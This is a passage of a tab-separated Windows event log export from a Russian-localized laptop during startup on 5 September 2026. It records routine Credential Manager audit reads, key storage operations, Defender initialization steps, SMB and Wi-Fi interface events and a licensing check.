(373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:03.782\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.783\t62171\tLogon task 'CloudDataUpdateProfileName' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.792\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.793\t211\tAdded process 11816 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:03.811\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\t8aa0580351688ef0\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\WINDOWS\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\59f36b963030275e362572ca6929e329_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.811\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\t8aa0580351688ef0\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.812\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\t8aa0580351688ef0\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.817\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\t67f81be80651088b\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\WINDOWS\\ServiceProfiles\\LocalService\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\e3c1979771f00a27e89a2c7cfb43c0fc_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.818\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\t67f81be80651088b\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.819\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-19\n\tAccount Name:\t\tLOCAL SERVICE\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E5\n\nProcess Information:\n\tProcess ID:\t\t9572\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.782937100Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\t67f81be80651088b\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.876\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = PostPlatformUpdate\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = RegistringUxToastLibrary\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:03.899\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.903\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.903\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.906\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.907\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:29:03.908\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:03.911\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.932\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.933\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.977\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.977\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.977\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.060\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.063\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.064\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.067\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.070\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:04.071\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.102\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.103\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.135\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.135\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.135\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.180\t1002\tError 0x80070005 occurred while verifying known folder {62ab5d82-fdc1-4dc3-a9dd-070d1d495d97} with path 'C:\\ProgramData'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:04.186\t1002\tError 0x80070005 occurred while verifying known folder {b4bfcc3a-db2c-424c-b029-7fe99a87c641} with path 'C:\\Users\\admin\\Desktop'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:04.192\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.195\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.195\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.197\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.199\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:04.200\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.217\t1002\tError 0x80070005 occurred while verifying known folder {5e6c858f-0e22-4760-9afe-ea3317b67173} with path 'C:\\Users\\admin'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:04.257\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.258\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.297\t2415\tAn application was unregistered with the following parameters: Windows.Defender.MpUxDlp [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:04.320\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u0411\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0430\u044f \u0441\u0435\u0442\u044c\nInterfaceIndex: 0x7\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:04.320\t1040\tReceived Mib notification type MibAddInstance for interface 7\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.320\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 7. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.346\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.347\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.347\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:04.521\t27\tConnection state - All connections have succeeded since the previous period.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:04.829\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = RegistringUxToastLibrary\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = LoadingEngine\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:29:04.928\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u0411\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0430\u044f \u0441\u0435\u0442\u044c\nInterfaceIndex: 0x7\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:04.928\t1040\tReceived Mib notification type MibAddInstance for interface 7\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.928\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 7. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:04.929\t8000\t\"WLAN AutoConfig service started a connection to a wireless network.\n\nNetwork Adapter: Intel(R) Wi-Fi 6 AX201 160MHz\nInterface GUID: {449f824d-2856-4717-a3a7-cf59faac817a}\nConnection Mode: \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0444\u0438\u043b\u044f\nProfile Name: HUAWEI_HG8245_WiFi\nSSID: HUAWEI_HG8245_WiFi\nBSS Type: Infrastructure\n\"\tInformation\tMicrosoft-Windows-WLAN-AutoConfig/Operational\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:04.946\t30810\t\"Added a TCP/IP transport interface.\n\nName: \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438* 9\nInterfaceIndex: 0x9\n\nGuidance:\nA TCP/IP binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TCP/IP. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:04.946\t1003\t\"The Software Protection service has completed licensing status check.\nApplication Id=55c92734-d682-4d71-983e-d6ec3f16059f\nLicensing Status=\n1: 01eb852c-424d-4060-94b8-c10d799d7364, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n2: 040fa323-92b1-4baf-97a2-5b67feaefddb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 0724cb7d-3437-4cb7-93cb-830375d0079d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 0ad2ac98-7bb9-4201-8d92-312299201369, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 19de9b2f-0166-4abb-9534-56ea69a80edb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 1a9a717a-cf13-4ba5-83c3-0fe25fa868d5, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 221a02da-e2a1-4b75-864c-0a4410a33fdf, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 265f3fad-6a1c-4bdd-ae30-c75efa556ccb, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 291ece0e-9c38-40ca-a9e1-32cc7ec19507, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 2936d1d2-913a-4542-b54e-ce5a602a2a38, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: 2c293c26-a45a-4a2a-a350-c69a67097529, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: 2de67392-b7a7-462a-b1ca-108dd189f588, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: 2ffd8952-423e-4903-b993-72a1aa44cf82, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: 